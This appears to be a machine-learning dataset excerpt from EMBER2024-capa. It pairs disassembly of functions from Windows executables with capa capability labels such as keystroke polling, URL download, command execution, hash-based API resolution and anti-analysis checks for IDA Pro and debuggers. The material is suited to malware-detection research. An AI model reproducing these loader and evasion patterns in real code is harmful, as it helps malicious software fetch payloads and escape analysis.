joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002c00
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x140002c2d
xor eax, eax
jmp 0x140002d99
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140002c67
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140002c67
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140002d99
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140002d8c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140002caa
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140002cd5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002d91
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140002d44
sub eax, 1
je 0x140002d44
cmp eax, 2
jne 0x140002d8c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002d91
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140002d72
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x140002d8c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140002d91
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140004480
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140003310
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x1400033e3
cmp byte [rcx + 0x71], 0
je 0x1400033e3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x1400033df
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400033a4
sub eax, 1
je 0x1400033a8
cmp eax, 2
jne 0x1400033df
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140004480
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x1400033d6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x1400033df
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000338c
xor al, al
jmp 0x14000338c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140004480
add rsp, 0x60
pop rbx
ret
Function at 0x140003df0
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xa0
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rbp + 0x47], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0x190
mov edx, 0x1f4
mov r9d, edx
mov r8d, edx
call qword [sym.imp.USER32.dll_MoveWindow]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
lea rdx, str.TriggerBot
call qword [sym.imp.USER32.dll_SetWindowTextA]
call fcn.140001290
mov rbx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov edi, eax
mov word [rbp - 0x11], di
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov r9d, eax
mov word [rbp - 0xf], r9w
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
mov qword [rbp - 1], rbx
movzx r10d, word [rbx + 0xa]
add r10w, r10w
movsx eax, di
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
movzx ecx, ax
sub cx, r10w
mov word [rbp - 0x19], cx
movsx eax, r9w
cdq
sub eax, edx
sar eax, 1
movzx ecx, ax
sub cx, r10w
mov word [rbp - 0x17], cx
mov ecx, dword [rbp - 0x19]
mov dword [rbp - 0xd], ecx
lea ecx, [r8 + r10]
mov word [rbp - 0x19], cx
add r10w, ax
mov word [rbp - 0x17], r10w
mov eax, dword [rbp - 0x19]
mov dword [rbp - 9], eax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov rdi, rax
mov qword [rbp + 7], rax
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov rsi, rax
mov qword [rbp + 0xf], rax
movsx edx, word [rbx + 0xa]
add edx, edx
mov r8d, edx
mov rcx, rdi
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov qword [rbp + 0x17], rax
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.GDI32.dll_SelectObject]
nop
lea rdx, str._n_nrunning..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400034f0
xor edi, edi
cmp byte [rbx + 8], dil
jne 0x140003f49
movzx ecx, byte [rbx]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140003fbb
lea rcx, [rbp - 0x11]
call fcn.140004180
test al, al
je 0x140003fbb
xor eax, eax
xorps xmm0, xmm0
mov qword [rbp + 0x3f], rax
movups xmmword [rbp + 0x1f], xmm0
movzx eax, byte [rbx + 1]
movups xmmword [rbp + 0x2f], xmm0
mov dword [rbp + 0x1f], 1
mov word [rbp + 0x27], ax
mov dword [rbp + 0x2b], edi
mov r8d, 0x28
lea rdx, [rbp + 0x1f]
mov ecx, 1
call qword [sym.imp.USER32.dll_SendInput]
mov dword [rbp + 0x2b], 2
mov r8d, 0x28
lea rdx, [rbp + 0x1f]
mov ecx, 1
call qword [sym.imp.USER32.dll_SendInput]
movsxd rax, dword [rbx + 4]
mov qword [rbp - 0x19], rax
lea rcx, [rbp - 0x19]
call fcn.140003fe0
mov qword [rbp - 0x19], 1
lea rcx, [rbp - 0x19]
call fcn.140003fe0
jmp 0x140003f35
Function at 0x1400050e8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005132
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005132
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005132
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005132
cmp dword [rcx + 0x84], 0xe
jbe 0x140005132
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140005134
xor al, al
add rsp, 0x28
ret
Function at 0x140003f50
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Get process filename
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x38
mov rax, qword [0x1401071b0]
test rax, rax
jne 0x140004154
mov rax, qword gs:[0x60]
xor r8d, r8d
mov qword [rsp + 0x48], rbx
mov ebx, 0x694a8c81
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x58], rsi
mov rcx, qword [rax + 0x18]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r15
mov rax, qword [rcx + 0x10]
mov rbp, qword [rax]
mov rdi, rbp
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test r8d, r8d
je 0x140003fed
psrldq xmm0, 8
mov edx, 0x811c9dc5
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
cmp rcx, r9
je 0x140003fe4
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r9
jne 0x140003fd0
cmp edx, r8d
jne 0x140004117
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov r15, rcx
mov r11d, ecx
shr r15, 0x20
add r11, r10
cmp r11, r10
je 0x140004117
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140004117
mov r14d, dword [r11 + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov edx, 0x811c9dc5
lea rax, [r14 + r9*4]
mov ecx, dword [rax + r10]
add rcx, r10
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140004067
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140004050
cmp edx, ebx
je 0x140004075
test r9d, r9d
jne 0x140004030
jmp 0x140004117
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
cmp rax, r11
jbe 0x14000412f
lea rcx, [r15 + r11]
cmp rax, rcx
jae 0x14000412f
movzx ecx, byte [rax]
mov r8d, 0x811c9dc5
mov dword [rsp + 0x40], r8d
mov edx, r8d
mov dword [rsp + 0x44], edx
cmp cl, 0x2e
je 0x1400040dd
nop
movsx ecx, cl
inc rax
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rax]
cmp cl, 0x2e
jne 0x1400040c0
mov dword [rsp + 0x40], r8d
movzx ecx, byte [rax + 1]
inc rax
test cl, cl
je 0x14000410a
nop dword [rax + rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax]
test cl, cl
jne 0x1400040f0
mov dword [rsp + 0x44], edx
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rbp]
shr rbx, 0x20
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rbp
je 0x14000412d
cmp qword [rax + 0x30], 0
jne 0x140003fa1
xor eax, eax
mov r15, qword [rsp + 0x20]
mov r14, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x48]
mov qword [0x1401071b0], rax
add rsp, 0x38
jmp rax
Function at 0x140004ef0
Capabilities:
Download url
Receive data
Terminate process

Disassembly:
sub rsp, 0x58
cmp qword [rdx + 0x18], 0xf
jbe 0x140004efe
mov rdx, qword [rdx]
cmp qword [rcx + 0x18], 0xf
jbe 0x140004f08
mov rcx, qword [rcx]
mov r8, rdx
mov qword [rsp + 0x20], 0
mov rdx, rcx
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x140004f52
lea rdx, str.faid
lea rcx, [rsp + 0x30]
call fcn.14001a520
mov rdx, rax
lea rcx, [0x140107330]
call fcn.140037230
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
add rsp, 0x58
ret

Function at 0x140004f60
Capabilities:
Create process on windows
Terminate process

Disassembly:
mov r11, rsp
sub rsp, 0xd8
mov rax, qword [0x140105ec0]
xor rax, rsp
mov qword [rsp + 0xc0], rax
xorps xmm0, xmm0
lea rax, str.open
movups xmmword [rsp + 0x50], xmm0
xor edx, edx
cmp qword [rcx + 0x18], 0xf
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [r11 - 0x58], xmm0
movups xmmword [r11 - 0x48], xmm0
movups xmmword [r11 - 0x38], xmm0
movups xmmword [r11 - 0x28], xmm0
mov dword [rsp + 0x50], reloc.WS2_32.dll_WSASetLastError
mov dword [rsp + 0x54], 0x40
mov qword [r11 - 0x80], rdx
mov qword [r11 - 0x78], rax
jbe 0x140004fcd
mov rcx, qword [rcx]
mov qword [rsp + 0x68], rcx
lea rax, [0x1400ebef9]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rdx
mov dword [rsp + 0x80], edx
mov qword [rsp + 0x88], rdx
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x14000502d
lea rdx, str.faie
lea rcx, [rsp + 0x28]
call fcn.14001a520
mov rdx, rax
lea rcx, [0x140107330]
call fcn.140037230
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rsp + 0xb8]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400c73f0
add rsp, 0xd8
ret
Function at 0x14000ad60
Capabilities:
Encode data using xor
Execute command

Disassembly:
sub rsp, 0x68
movups xmm1, xmmword [0x1400f3278]
movups xmm0, xmmword [str.GUF_QUV]
movups xmmword [rsp + 0x40], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
movups xmmword [rsp + 0x30], xmm0
test al, al
je 0x14000af0e
xor ecx, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000aed6
movdqa xmm0, xmmword [0x1400f3750]
lea rdx, [rsp + 0x34]
movdqa xmm4, xmmword [0x1400f36c0]
movdqa xmm3, xmmword [0x1400f3760]
movdqa xmm5, xmmword [str.5555]
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movaps xmmword [rsp + 0x50], xmm6
movdqa xmm6, xmmword [0x1400f3730]
nop dword [rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm4
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movd dword [rdx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x20
jl 0x14000ade0
movaps xmm6, xmmword [rsp + 0x50]
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rsp, 0x68
ret
lea r8, [rsp + 0x30]
nop dword [rax + rax]
mov eax, 0x3521cfb3
lea r8, [r8 + 1]
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul edx, eax, 0x35
movzx eax, cl
inc ecx
sub al, dl
add al, 0x33
xor byte [r8 - 1], al
cmp ecx, 0x20
jl 0x14000aee0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rsp, 0x68
ret
Function at 0x14000af20
Capabilities:
Check if file exists
Enumerate processes
Get file attributes

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
push rdi
sub rsp, 0x190
mov rax, qword [0x140105ec0]
xor rax, rsp
mov qword [rsp + 0x180], rax
lea rax, str.C:Program_FilesIDAida.exe
xor edx, edx
mov qword [r11 - 0x28], rax
mov ecx, 2
lea rax, str.C:Program_Files__x86_IDAida.exeC:DesktopIDA_Freeware_8.4.exe
mov qword [r11 - 0x20], rax
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x130
mov rcx, rax
mov rbx, rax
xor dil, dil
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x14000afb1
lea rdx, str.ida.exe
lea rcx, [rsp + 0x6c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x14000afae
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x14000af84
jmp 0x14000afb1
mov dil, 1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rbx, [rsp + 0x170]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x14000afd4
test al, 0x10
je 0x14000b01b
add rbx, 8
lea rax, [rsp + 0x180]
cmp rbx, rax
jne 0x14000afc2
lea rax, [rsp + 0x30]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREIDA
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14000b01f
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
jmp 0x14000b023
movzx eax, dil
mov rcx, qword [rsp + 0x180]
xor rcx, rsp
call fcn.1400c73f0
mov rbx, qword [rsp + 0x1a0]
add rsp, 0x190
pop rdi
ret
Function at 0x14000b050
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov eax, dword [0x140107278]
mov dword [0x140107258], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14000b0f7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14000b0f7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000b0f2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14000b0d0
cmp r8d, 0xf4d8b55
je 0x14000b0fc
test r9d, r9d
jne 0x14000b0b0
mov rax, qword [rax]
jmp 0x14000b080
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov ecx, dword [0x140107258]
mov dword [0x140107278], eax
test ecx, ecx
je 0x14000b226
sub eax, ecx
cmp eax, 0x1770
jbe 0x14000b226
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.error_:
call fcn.14001b4d0
mov rcx, rax
lea rdx, str.Time
call fcn.14001b4d0
lea rdx, [0x14001b6b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14000b1f7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14000b1f7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14000b1f2
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x14000b1d0
cmp r8d, 0x2fa62ca8
je 0x14000b1fc
test r9d, r9d
jne 0x14000b1b0
mov rax, qword [rax]
jmp 0x14000b180
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov ecx, 0xbb8
add rax, r10
call rax
mov qword [0], 1
mov rbx, qword [rsp + 0x30]
xor eax, eax
add rsp, 0x20
pop rdi
ret
Function at 0x14000b240
Capabilities:
Access peb ldr_data
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x58
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
mov qword [rsp + 0x30], r9
movsxd rcx, dword [r9 + 0x3c]
mov rdx, qword [rcx + r9 + 0x88]
mov qword [rsp + 0x60], rdx
mov r11d, edx
add r11, r9
mov qword [rsp + 0x38], r11
shr rdx, 0x20
mov dword [rsp + 0x40], edx
cmp r11, r9
je 0x14000b318
mov r10d, dword [r11 + 0x18]
mov dword [rsp + 0x20], r10d
nop
mov ecx, r10d
dec r10d
mov dword [rsp + 0x20], r10d
test ecx, ecx
je 0x14000b318
mov edx, dword [r11 + 0x20]
add rdx, r9
mov ecx, dword [rdx + r10*4]
add rcx, r9
mov qword [rsp + 0x28], rcx
mov r8d, 0x811c9dc5
nop dword [rax + rax]
movsx edx, byte [rcx]
inc rcx
mov qword [rsp + 0x28], rcx
test dl, dl
jne 0x14000b30c
cmp r8d, 0xfaba0065
jne 0x14000b30a
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r10*2]
mov eax, dword [rdx + rcx*4]
add rax, r9
mov ecx, 0x13333337
call rax
jmp 0x14000b322
jmp 0x14000b2a0
xor edx, r8d
imul r8d, edx, 0x1000193
jmp 0x14000b2d0
mov rax, qword [rax]
jmp 0x14000b260
add rsp, 0x58
ret
Function at 0x14000b590
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14000b627
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14000b627
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14000b622
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x14000b600
cmp r8d, 0x53b2070f
je 0x14000b62c
test r9d, r9d
jne 0x14000b5e0
mov rax, qword [rax]
jmp 0x14000b5b0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [0x1400ebf50]
add rax, r10
call rax
mov rsi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x14000b729
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov ebx, dword [rdx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14000b6e7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14000b6e7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rax, [rdi + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14000b6e2
nop
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x14000b6c0
cmp r8d, 0xf8f45725
je 0x14000b6ec
test r9d, r9d
jne 0x14000b6a0
mov rcx, qword [rcx]
jmp 0x14000b670
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rdx, str.NtQueryInformationProcess
add rax, r10
mov rcx, rsi
call rax
test rax, rax
je 0x14000b729
mov eax, 1
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rbx, qword [rsp + 0x30]
xor eax, eax
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret